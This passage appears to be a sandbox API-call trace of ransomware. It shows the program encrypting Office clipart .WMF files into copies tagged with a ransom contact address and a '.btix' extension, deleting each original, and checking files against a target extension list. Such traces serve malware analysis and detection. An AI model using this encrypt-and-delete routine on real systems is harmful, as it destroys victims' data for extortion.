SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0156.991] GetLastError () returned 0x0 [0156.991] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x19c4, lpOverlapped=0x0) returned 1 [0156.996] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x19d0, lpOverlapped=0x0) returned 1 [0156.997] ReadFile (in: hFile=0x364, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.997] WriteFile (in: hFile=0x37c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.997] SetEndOfFile (hFile=0x37c) returned 1 [0156.997] CloseHandle (hObject=0x37c) returned 1 [0156.997] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.998] SetEndOfFile (hFile=0x364) returned 1 [0156.998] CloseHandle (hObject=0x364) returned 1 [0156.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.998] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf")) returned 1 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0156.999] lstrlenW (lpString=".doc") returned 4 [0156.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString=".docx") returned 5 [0156.999] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0156.999] lstrlenW (lpString=".pdf") returned 4 [0156.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString=".xls") returned 4 [0156.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.999] lstrlenW (lpString=".xlsx") returned 5 [0156.999] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0156.999] lstrlenW (lpString=".ppt") returned 4 [0156.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0156.999] lstrlenW (lpString=".zip") returned 4 [0156.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.999] lstrlenW (lpString=".rar") returned 4 [0157.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString=".bz2") returned 4 [0157.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString=".7z") returned 3 [0157.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0157.000] lstrlenW (lpString=".dbf") returned 4 [0157.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0157.000] lstrlenW (lpString=".1cd") returned 4 [0157.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0157.000] lstrlenW (lpString=".jpg") returned 4 [0157.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.002] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.002] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.002] GetLastError () returned 0x0 [0157.002] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0157.015] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0157.016] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.016] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.016] SetEndOfFile (hFile=0x374) returned 1 [0157.017] CloseHandle (hObject=0x374) returned 1 [0157.017] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.017] SetEndOfFile (hFile=0x39c) returned 1 [0157.017] CloseHandle (hObject=0x39c) returned 1 [0157.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 1 [0157.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0157.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0157.018] lstrlenW (lpString=".doc") returned 4 [0157.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.018] lstrlenW (lpString=".docx") returned 5 [0157.018] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0157.018] lstrlenW (lpString=".pdf") returned 4 [0157.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.018] lstrlenW (lpString=".xls") returned 4 [0157.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.018] lstrlenW (lpString=".xlsx") returned 5 [0157.018] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0157.018] lstrlenW (lpString=".ppt") returned 4 [0157.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0157.018] lstrlenW (lpString=".zip") returned 4 [0157.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.019] lstrlenW (lpString=".rar") returned 4 [0157.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.019] lstrlenW (lpString=".bz2") returned 4 [0157.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.019] lstrlenW (lpString=".7z") returned 3 [0157.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0157.019] lstrlenW (lpString=".dbf") returned 4 [0157.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0157.019] lstrlenW (lpString=".1cd") returned 4 [0157.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0157.019] lstrlenW (lpString=".jpg") returned 4 [0157.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.019] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.019] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.020] GetLastError () returned 0x0 [0157.020] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x3040, lpOverlapped=0x0) returned 1 [0157.031] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x3050, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x3050, lpOverlapped=0x0) returned 1 [0157.032] ReadFile (in: hFile=0x39c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.032] WriteFile (in: hFile=0x374, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.032] SetEndOfFile (hFile=0x374) returned 1 [0157.033] CloseHandle (hObject=0x374) returned 1 [0157.033] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.033] SetEndOfFile (hFile=0x39c) returned 1 [0157.034] CloseHandle (hObject=0x39c) returned 1 [0157.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187829.wmf")) returned 1 [0157.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0157.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0157.036] lstrlenW (lpString=".doc") returned 4 [0157.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.036] lstrlenW (lpString=".docx") returned 5 [0157.036] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.036] lstrlenW (lpString=".pdf") returned 4 [0157.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.036] lstrlenW (lpString=".xls") returned 4 [0157.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.036] lstrlenW (lpString=".xlsx") returned 5 [0157.036] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.036] lstrlenW (lpString=".ppt") returned 4 [0157.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0157.037] lstrlenW (lpString=".zip") returned 4 [0157.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.037] lstrlenW (lpString=".rar") returned 4 [0157.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.037] lstrlenW (lpString=".bz2") returned 4 [0157.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.037] lstrlenW (lpString=".7z") returned 3 [0157.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0157.037] lstrlenW (lpString=".dbf") returned 4 [0157.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0157.037] lstrlenW (lpString=".1cd") returned 4 [0157.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187829.WMF") returned 68 [0157.037] lstrlenW (lpString=".jpg") returned 4 [0157.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.038] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.038] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.042] GetLastError () returned 0x0 [0157.042] ReadFile (in: hFile=0x374, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x14fc, lpOverlapped=0x0) returned 1 [0157.063] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1500, lpOverlapped=0x0) returned 1 [0157.064] ReadFile (in: hFile=0x374, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.064] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.064] SetEndOfFile (hFile=0x364) returned 1 [0157.064] CloseHandle (hObject=0x364) returned 1 [0157.064] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.064] SetEndOfFile (hFile=0x374) returned 1 [0157.065] CloseHandle (hObject=0x374) returned 1 [0157.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187839.wmf")) returned 1 [0157.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0157.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0157.066] lstrlenW (lpString=".doc") returned 4 [0157.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.066] lstrlenW (lpString=".docx") returned 5 [0157.066] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.066] lstrlenW (lpString=".pdf") returned 4 [0157.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.066] lstrlenW (lpString=".xls") returned 4 [0157.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.066] lstrlenW (lpString=".xlsx") returned 5 [0157.066] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.066] lstrlenW (lpString=".ppt") returned 4 [0157.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0157.066] lstrlenW (lpString=".zip") returned 4 [0157.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.066] lstrlenW (lpString=".rar") returned 4 [0157.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.066] lstrlenW (lpString=".bz2") returned 4 [0157.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.066] lstrlenW (lpString=".7z") returned 3 [0157.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0157.066] lstrlenW (lpString=".dbf") returned 4 [0157.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0157.066] lstrlenW (lpString=".1cd") returned 4 [0157.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187839.WMF") returned 68 [0157.066] lstrlenW (lpString=".jpg") returned 4 [0157.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.067] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.067] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.067] GetLastError () returned 0x0 [0157.067] ReadFile (in: hFile=0x374, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0xaac, lpOverlapped=0x0) returned 1 [0157.081] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xab0, lpOverlapped=0x0) returned 1 [0157.082] ReadFile (in: hFile=0x374, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.082] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.082] SetEndOfFile (hFile=0x364) returned 1 [0157.082] CloseHandle (hObject=0x364) returned 1 [0157.082] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.082] SetEndOfFile (hFile=0x374) returned 1 [0157.083] CloseHandle (hObject=0x374) returned 1 [0157.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187859.wmf")) returned 1 [0157.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0157.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0157.084] lstrlenW (lpString=".doc") returned 4 [0157.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.084] lstrlenW (lpString=".docx") returned 5 [0157.084] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0157.084] lstrlenW (lpString=".pdf") returned 4 [0157.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.084] lstrlenW (lpString=".xls") returned 4 [0157.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.084] lstrlenW (lpString=".xlsx") returned 5 [0157.084] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0157.084] lstrlenW (lpString=".ppt") returned 4 [0157.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0157.084] lstrlenW (lpString=".zip") returned 4 [0157.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.084] lstrlenW (lpString=".rar") returned 4 [0157.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.084] lstrlenW (lpString=".bz2") returned 4 [0157.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.084] lstrlenW (lpString=".7z") returned 3 [0157.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0157.084] lstrlenW (lpString=".dbf") returned 4 [0157.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0157.084] lstrlenW (lpString=".1cd") returned 4 [0157.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187859.WMF") returned 68 [0157.084] lstrlenW (lpString=".jpg") returned 4 [0157.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.085] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.085] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0157.085] GetLastError () returned 0x0 [0157.085] ReadFile (in: hFile=0x374, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1258, lpOverlapped=0x0) returned 1 [0157.097] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1260, lpOverlapped=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x374, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.098] WriteFile (in: hFile=0x364, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0157.098] SetEndOfFile (hFile=0x364) returned 1 [0157.099] CloseHandle (hObject=0x364) returned 1 [0157.099] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.099] SetEndOfFile (hFile=0x374) returned 1 [0157.099] CloseHandle (hObject=0x374) returned 1 [0157.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 